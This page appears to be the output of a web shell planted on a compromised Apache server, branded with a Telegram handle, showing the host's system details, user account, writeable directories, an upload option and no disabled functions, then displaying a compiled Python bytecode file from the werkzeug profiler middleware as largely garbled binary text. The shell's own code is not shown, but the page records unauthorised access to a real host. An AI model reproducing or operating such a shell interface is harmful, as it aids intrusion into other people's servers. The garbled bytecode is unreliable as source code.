https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/werkzeug/middleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/werkzeug/middleware/profiler.pyc
�
./�_c@s�dZddlmZddlZddlZddlZddlmZyddl	m
Z
Wn!ek
r�ddlm
Z
nXde
fd��YZdS(s9
Application Profiler
====================

This module provides a middleware that profiles each request with the
:mod:`cProfile` module. This can help identify bottlenecks in your code
that may be slowing down your application.

.. autoclass:: ProfilerMiddleware

:copyright: 2007 Pallets
:license: BSD-3-Clause
i����(tprint_functionN(tStats(tProfiletProfilerMiddlewarecBs2eZdZejddddd�Zd�ZRS(	sWrap a WSGI application and profile the execution of each
    request. Responses are buffered so that timings are more exact.

    If ``stream`` is given, :class:`pstats.Stats` are written to it
    after each request. If ``profile_dir`` is given, :mod:`cProfile`
    data files are saved to that directory, one file per request.

    The filename can be customized by passing ``filename_format``. If
    it is a string, it will be formatted using :meth:`str.format` with
    the following fields available:

    -   ``{method}`` - The request method; GET, POST, etc.
    -   ``{path}`` - The request path or 'root' should one not exist.
    -   ``{elapsed}`` - The elapsed time of the request.
    -   ``{time}`` - The time of the request.

    If it is a callable, it will be called with the WSGI ``environ``
    dict and should return a filename.

    :param app: The WSGI application to wrap.
    :param stream: Write stats to this stream. Disable with ``None``.
    :param sort_by: A tuple of columns to sort stats by. See
        :meth:`pstats.Stats.sort_stats`.
    :param restrictions: A tuple of restrictions to filter stats by. See
        :meth:`pstats.Stats.print_stats`.
    :param profile_dir: Save profile data files to this directory.
    :param filename_format: Format string for profile data file names,
        or a callable returning a name. See explanation above.

    .. code-block:: python

        from werkzeug.middleware.profiler import ProfilerMiddleware
        app = ProfilerMiddleware(app)

    .. versionchanged:: 0.15
        Stats are written even if ``profile_dir`` is given, and can be
        disable by passing ``stream=None``.

    .. versionadded:: 0.15
        Added ``filename_format``.

    .. versionadded:: 0.9
        Added ``restrictions`` and ``profile_dir``.
    ttimetcallss/{method}.{path}.{elapsed:.0f}ms.{time:.0f}.profcCs:||_||_||_||_||_||_dS(N(t_appt_streamt_sort_byt
_restrictionst_profile_dirt_filename_format(tselftapptstreamtsort_bytrestrictionstprofile_dirtfilename_format((s@/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/profiler.pyt__init__Is						c

s�g�d��fd������fd�}t�}tj�}|j|�dj��}tj�|}�jdk	r%t�j�r��j��}nY�jjd�dd�j	d�j
d�jdd	�p�d
d|dd
tj��}tj
j�j|�}|j|�n�jdk	r�t|d�j�}	|	j�j�tddd�j�tdj�j	dd��d�j�|	j�j�tdddd�j�n|gS(Ncs�|||��jS(N(tappend(tstatustheaderstexc_info(t
response_bodytstart_response(s@/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/profiler.pytcatching_start_response\scs?�j���}�j|�t|d�r;|j�ndS(Ntclose(RtextendthasattrR(tapp_iter(RtenvironRR(s@/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/profiler.pytrunapp`s
ttmethodtREQUEST_METHODtpatht	PATH_INFOt/t.troottelapsedg@�@RRt-iPtfiles
PATH: {!r}s
(tNoneRRtruncalltjoinR
tcallableRtformattgettstriptreplacetosR$t
dump_statsRRt
sort_statsRtprinttprint_statsR	(
RRRR tprofiletstarttbodyR)tfilenametstats((RRRRRs@/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/profiler.pyt__call__Ys4	

*
((stimeR(N(t__name__t
__module__t__doc__tsyststdoutR,RR>(((s@/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/profiler.pyRs,	(RAt
__future__Rtos.pathR4RBRtpstatsRtcProfileRtImportErrorR9tobjectR(((s@/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/profiler.pyt<module>
s


https://t.me/AnonymousX5 - 2025